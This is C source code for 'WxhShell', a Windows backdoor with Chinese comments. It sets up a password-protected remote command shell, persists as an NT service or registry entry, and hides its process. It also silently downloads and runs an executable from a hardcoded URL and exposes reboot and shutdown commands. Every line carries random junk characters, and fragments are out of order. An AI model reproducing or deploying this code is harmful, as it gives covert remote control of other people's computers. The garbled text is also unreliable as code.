ULONG InheritedFromUniqueProcessId; O{lIs_1.Z
} PROCESS_BASIC_INFORMATION; /~H[= Pf
r+imn&FK8
PROCNTQSIP NtQueryInformationProcess; VKq0<+M
f|-
m ^/y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j4E H2v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7!O^;]+,
1U717u
HANDLE hProcess; Hfh@<'NL]
PROCESS_BASIC_INFORMATION pbi; [Xxw]C6\>(
e(?:g@]-r
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |$YyjYK
if(NULL == hInst ) return 0; \w{@u)h
?wGiog<Q{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5."5IjZu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X}3P1.n:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \BN|?r$a
T&?w"T2y
if (!NtQueryInformationProcess) return 0; /6Y0q9
77+|#<J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D~cW
]2
if(!hProcess) return 0; Xy:Gj,@
/m97CC#+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q!ee g
A|2 <A
!
CloseHandle(hProcess); =Nw2;TkB[
gdOe)il\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aL88E
if(hProcess==NULL) return 0; Xwn3+tSIa
^&C&~}Zv
HMODULE hMod; 3.(.*>
char procName[255]; [ }{w
unsigned long cbNeeded; h8em\<;
Vre=%bGw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3voW
k69kv9v@J
CloseHandle(hProcess); xM%
pvx.'L
|pBMrN+is
if(strstr(procName,"services")) return 1; // 以服务启动 FH4u$g+
{nTG~d
return 0; // 注册表启动 wjL|Z8
} YbzM6u2
" <qEXX
// 主模块 Jms=YLIAA
int StartWxhshell(LPSTR lpCmdLine) Gv;;!sZ
{ J`W-]3S#
SOCKET wsl; Hc M~
BOOL val=TRUE; 4b]_
#7Qm
int port=0; F#B5sLNb
struct sockaddr_in door; U{"f.Z:Ydo
n"iNKR>nW
if(wscfg.ws_autoins) Install(); :VJV 5f{
{H+?z<BF<
port=atoi(lpCmdLine);
C>4UbU
4\\.n
if(port<=0) port=wscfg.ws_port; _r]nJEF5
YwGHG{?e
WSADATA data; jM]d'E?ZLA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ssw&'B|o
Nl
{7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <~N%W#z/
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c8<xFvYG
door.sin_family = AF_INET; U,'EF[t
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4#_$@ r
door.sin_port = htons(port); #Mg lHQO+
p'g^Wh
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [A]Ca$':
closesocket(wsl); c yP,[?N
return 1; p-,Iio+
} }"n7~|
PyFj@n
if(listen(wsl,2) == INVALID_SOCKET) { /=TH08
closesocket(wsl); -6`;},Yr
return 1; {OCJ(^8i
} +;dXDZ2
Wxhshell(wsl); ETO$9}x[
WSACleanup(); (N0sE"_~I5
?Wa<AFXQ
return 0; L,$3Yj
R*bmu
} DvYwCgLR
RLHYw@-j@
// 以NT服务方式启动 =Dk7RKoHF
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (sCAR=5v\
{ r|fO7PD
DWORD status = 0; 88 l,&2q
DWORD specificError = 0xfffffff; .,M;huRg
|` "?
serviceStatus.dwServiceType = SERVICE_WIN32; ezn`
_x_?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *ik/p
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #9:2s$O[x
serviceStatus.dwWin32ExitCode = 0; Q'K$L9q
serviceStatus.dwServiceSpecificExitCode = 0; 7$7n71o
serviceStatus.dwCheckPoint = 0; 8W -@N
serviceStatus.dwWaitHint = 0; /2XW
smup,RNZRX
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oHX$k{6
if (hServiceStatusHandle==0) return; rwgsXS8W6
mU@xcN
status = GetLastError(); 5)M2r!\
if (status!=NO_ERROR) ~O03Sit-
{ /:p8I6;
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'N6 S}w7
serviceStatus.dwCheckPoint = 0; u7].}60.'
serviceStatus.dwWaitHint = 0; Qn|+eLY
serviceStatus.dwWin32ExitCode = status; 5I' d PNf
serviceStatus.dwServiceSpecificExitCode = specificError; d~Mg
vh'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ; )llt
G
return; pM2a(\K,k^
} <
kP+eD
NY!jwb@%
serviceStatus.dwCurrentState = SERVICE_RUNNING; #SnvV
serviceStatus.dwCheckPoint = 0; F8=nhn
serviceStatus.dwWaitHint = 0; ;`UecLb#
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SaO3zz@L
} %|+E48
Lh ap4:
// 处理NT服务事件,比如:启动、停止 A5nO=
VOID WINAPI NTServiceHandler(DWORD fdwControl) > 0.W`j(s
{ LchnBtjn
switch(fdwControl) v}[dnG
{ $$1qF"GF
case SERVICE_CONTROL_STOP: ?WFh',`:
serviceStatus.dwWin32ExitCode = 0; \ZH&LPAY
serviceStatus.dwCurrentState = SERVICE_STOPPED; |B^G:7c
serviceStatus.dwCheckPoint = 0; (
u`W!{1\
serviceStatus.dwWaitHint = 0; ^Z}Ob= .G
{ VQxpN 1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C@gXT]Q
0}
} H%}IuHhN)
return; -F1-
e+=
case SERVICE_CONTROL_PAUSE: 9[Qd)%MO
serviceStatus.dwCurrentState = SERVICE_PAUSED; 'q{733o
break; J|~26lG
case SERVICE_CONTROL_CONTINUE: ^p=L\SJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; uf' 4'
break; 8;" *6vHZ
case SERVICE_CONTROL_INTERROGATE: jH*)%n5,\
break; Qa`hR
}; XDz5b.,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q0cRH"!:
} jirbUl
;*cLG#&'M
// 标准应用程序主函数 %2l7Hmp4H
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *xs!5|n+
{ HY}j!X
?mYYt]R
// 获取操作系统版本 K_/B?h
OsIsNt=GetOsVer(); "!UVs+)]
GetModuleFileName(NULL,ExeFile,MAX_PATH); +K$NAT
AuiFbRFi
// 从命令行安装 ,FQK;BU!lh
if(strpbrk(lpCmdLine,"iI")) Install(); Q^_/By@
r)T[(D'Tm-
// 下载执行文件 HOi C
if(wscfg.ws_downexe) { }1H=wg>\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Oejq@iM"(
WinExec(wscfg.ws_filenam,SW_HIDE); ktH8as^54!
} O#kq^C}
Rf"Mr: ^
if(!OsIsNt) { lWZuXb,G
// 如果时win9x,隐藏进程并且设置为注册表启动 Y}STF
HideProc(); q/&y*)&'O
StartWxhshell(lpCmdLine); oFC)
} +cB&Mi5
else ~H /2R
if(StartFromService()) m"/g7w4N
// 以服务方式启动 2#5,MP~r
StartServiceCtrlDispatcher(DispatchTable); v."Dnl
else /SR^C$h'I
// 普通方式启动 9'~-U
StartWxhshell(lpCmdLine); H7g<
p"
0@=MOGQb
return 0; z3?\:Yz
} mZvG|P$}
lE#m]D
hfM;/
9IZu$-
=========================================== ^ @=^;nB
vK'?:}~
1yqoA*
0t.p1
)mN9(Ob!
P`SnavQBt
" .0y%5wz8j
i u]&;
#include <stdio.h> V64L,u#`l
#include <string.h> w7kJg'X/6
#include <windows.h> Qo0H
#include <winsock2.h> I=Zx"'Um
#include <winsvc.h> `iG,H[t+j
#include <urlmon.h> &*,:1=p
woOy*)@
#pragma comment (lib, "Ws2_32.lib") x^= M6;:
#pragma comment (lib, "urlmon.lib") le>Wm&E
Q=cQLf;/'
#define MAX_USER 100 // 最大客户端连接数 e;95a
#define BUF_SOCK 200 // sock buffer y&J@?Hc>
#define KEY_BUFF 255 // 输入 buffer /X8<C=}
=P77"Dd
#define REBOOT 0 // 重启 ?/#}ZZK^
#define SHUTDOWN 1 // 关机 o>D
BN_7Ay/k
#define DEF_PORT 5000 // 监听端口 akuJz
jx`QB')kX
#define REG_LEN 16 // 注册表键长度 n-;y*kD
#define SVC_LEN 80 // NT服务名长度 JC;^--0(z
./-JbW
// 从dll定义API 9ptFG]lZ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !b|' Vp^U
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b3$k9dmxV+
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,w)p"[^b
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); in%;Eqk
alFjc.~}
// wxhshell配置信息 R!x:
C!{
struct WSCFG { hq>Csj==@
int ws_port; // 监听端口 vR7HF*8
char ws_passstr[REG_LEN]; // 口令 i, n D5@#
int ws_autoins; // 安装标记, 1=yes 0=no B7*}c]^6/
char ws_regname[REG_LEN]; // 注册表键名 |BU+:+
char ws_svcname[REG_LEN]; // 服务名 4/>Our 5
char ws_svcdisp[SVC_LEN]; // 服务显示名 xl4=++pu)
char ws_svcdesc[SVC_LEN]; // 服务描述信息 J]/}ojW3
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?>uew^$d[w
int ws_downexe; // 下载执行标记, 1=yes 0=no E">T*ao
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dWRrG-'
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ``Q2P%
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}; D@YP7
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// default Wxhshell configuration {==pZpyyh
struct WSCFG wscfg={DEF_PORT, =(r*
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"xuhuanlingzhe", $6f\uuTU2"
1, D$k8^Vs
"Wxhshell", ztM<J+
"Wxhshell",
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"WxhShell Service", -f(/B9}
"Wrsky Windows CmdShell Service", x<(b|2qf
"Please Input Your Password: ", ),^eA
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"http://www.wrsky.com/wxhshell.exe", PFSLyV*
"Wxhshell.exe" W=}Okq)x9I
}; &R-H"kK?
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// 消息定义模块 .5HQ
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <!^
[~`
char *msg_ws_prompt="\n\r? for help\n\r#>"; '{?C{MK3Q
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YhKZ|@
char *msg_ws_ext="\n\rExit."; NY
char *msg_ws_end="\n\rQuit."; FpV`#6i7
char *msg_ws_boot="\n\rReboot..."; YrI|gz)
char *msg_ws_poff="\n\rShutdown..."; %uESrc-;
char *msg_ws_down="\n\rSave to "; `i!wq&1g7
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char *msg_ws_err="\n\rErr!"; !4#"!Md4o
char *msg_ws_ok="\n\rOK!"; D@Da0
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char ExeFile[MAX_PATH]; Xg<[fwW
int nUser = 0; ~fN%WZ;_
HANDLE handles[MAX_USER]; &&8'0.M{
int OsIsNt; ?^!,vh
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SERVICE_STATUS serviceStatus; TvhJVVQ+?
SERVICE_STATUS_HANDLE hServiceStatusHandle; l)8&Ip
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// 函数声明 4n( E;!s
int Install(void); ^J=hrYGA
int Uninstall(void); 6o&ZIY